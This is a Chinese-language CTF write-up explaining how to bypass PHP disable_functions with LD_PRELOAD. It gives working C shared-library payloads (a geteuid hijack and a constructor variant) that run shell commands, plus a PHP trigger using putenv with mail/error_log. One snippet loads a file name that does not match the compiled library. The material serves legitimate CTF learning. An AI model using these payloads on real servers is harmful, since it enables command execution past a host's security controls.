CTFHub WP LD_PRELOAD

CTFHub WP LD_PRELOAD

在做渗透测试中,有时候会遇到无法执行 shell命令的情况,有可能是php函数 disable_function禁用了危险函数,如dl exec system passthure等等(eval并非PHP函数,需要PHP扩展 Suhosin对其进行禁用)

disable_function 是php.ini中的一个设置选项,用来禁用php中的某些函数,通常是危险函数。

如果了解过linux动态加载的话,我们就会明白还有一种无法执行 shell命令的情况,那就是644权限(没有执行权限),在那一关的办法是 借助linux动态加载 加载完所有的动态库的时候才会将权限移交给程序,来达到绕过程序本生权限的不足,从而达到目的。

所以,在做本类型题的时候,我们常常需要 绕过 disable_function函数

在本关是 LD_PRELOAD

我i们先了解下 LD_PRELOAD

LD_PRELOAD允许我们在执行程序之前优先加载动态链接库,主要是用来有选择性的载入不同动态链接库中相同函数

利用这个环境变量,我们就可以使用自己的函数,同时我们也可以向别人的程序注入恶意程序,从而达到我们的目的。

针对前面对 LD_PRELOAD 的描述

有两种办法,获得flag:

(1)劫持函数

​ 假如我们编写了一个c语言函数,我们都知道代码会经过预处理,编译,汇编,然后再代码执行。由 汇编 结束到 代码执行 中间会进行连接,将elf 文件 和我们编写的代码连接在一起。我们都知道动态库 在编译链接时并没有把库文件的代码加入到可执行文件中,而是在程序执行时由运行时链接文件加载库。换言之,在这里elf文件可以被当作代码执行的主体,我们只需要让后我们编写的代码访问该elf文件就可以运行代码。

这里就存在漏洞。假如这里的elf文件是我们书写的恶意代码,让进程(我们书写的代码)启动时优先加载我们书写的so文件(elf文件)访问我们不就可以达到我们的目的吗?

突破思路

  1. 创建新进程
  2. 用c编写我们的恶意代码,将其转化为 so文件
  3. 让我们的 so文件为LD_PRELOAD
  4. 让我们的 so文件优先加载
  5. 运行主体 php函数

做题步骤:
在这里插入图片描述

进入题目我们发现在页面中存在 一句话木马,我们是无法直接使用蚁剑去链接页面去访问flag

我们先编写 hack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
	system("cat /flag >> /var/www/html/test.php");
	system("tac /flag >> /var/www/html/test.php");
	system("more /flag >> /var/www/html/test.php");
	system("head -2 /flag >> /var/www/html/test.php");
	system("tail /flag >> /var/www/html/test.php");
}   
int  geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

因为无法确定 cat 是否被替换,我们多写几种可能性

getenv:获取环境变量的值

unsetenv:用来删除一个环境变量

system:定的命令名称或程序名称传给要被命令处理器执行的主机环境

payload 函数大概意思是 查询 flag 并将flag返回到 /var/www/html/文件夹下,flag返回形式为 test.php。

使用linux将我们的 .c 变为 so

gcc -shared -fPIC hack.c -o getflag.so

在这里插入图片描述
在这里插入图片描述

书写php文件

<?php
putenv("LD_PRELOAD=/tmp/getflag.so");
mail("","","","");
error_log("",1,"","");
?>

这里的mail被禁用我们需要 error_log将错误信息记录出来

LD_PRELOAD=/tmp/getflag.so 意思是 LD_PRELOAD 是/tmp/文件夹下的 getflag.so 文件,

所以我们可以明白,我们的 so文件上传到哪里都可以,只要能让我们的php文件访问到就可以换话说我们so文件所在位置和php文件中的地址相同即可

上传我们的 getflag.so 文件和 ctf shell.php 文件
在这里插入图片描述
在这里插入图片描述

然后访问我们php文件(启动程序)即可

之后到蚁剑的var/www/html/文件夹下寻找即可,当然在浏览器下访问也可以。

在这里插入图片描述

(2)优先加载

前面的方法能够实现的前提是 我们启动的程序没有禁止 sendmail功能,允许我们发送链接,让代码和elf文件链接在一起,但很多情况下,senmail往往会被过滤或者本来就没有senmail文件,这时候我们只能使用前面说过的 执行程序之前优先加载动态链接库

​ 和前面的思路不同,该方法主要是优先执行,我们只需要书写函数__attribute__ ((__constructor__)) 让elf文件优先执行

做题步骤:

和上一方法相似

编写 hack.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
   	system("cat /flag >> /var/www/html/test.php");
	system("tac /flag >> /var/www/html/test.php");
	system("more /flag >> /var/www/html/test.php");
	system("head -2 /flag >> /var/www/html/test.php");
	system("tail /flag >> /var/www/html/test.php");
}

转换为 so文件

gcc -shared -fPIC hack.c -o getflag.so

php文件

<?Php
putenv("LD_PRELOAD=/tmp/eval.so");
mail("", "", "", "");
error_log("",1,"","");
?>

访问php 在蚁剑的var/www/html文件夹下寻找test.php

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值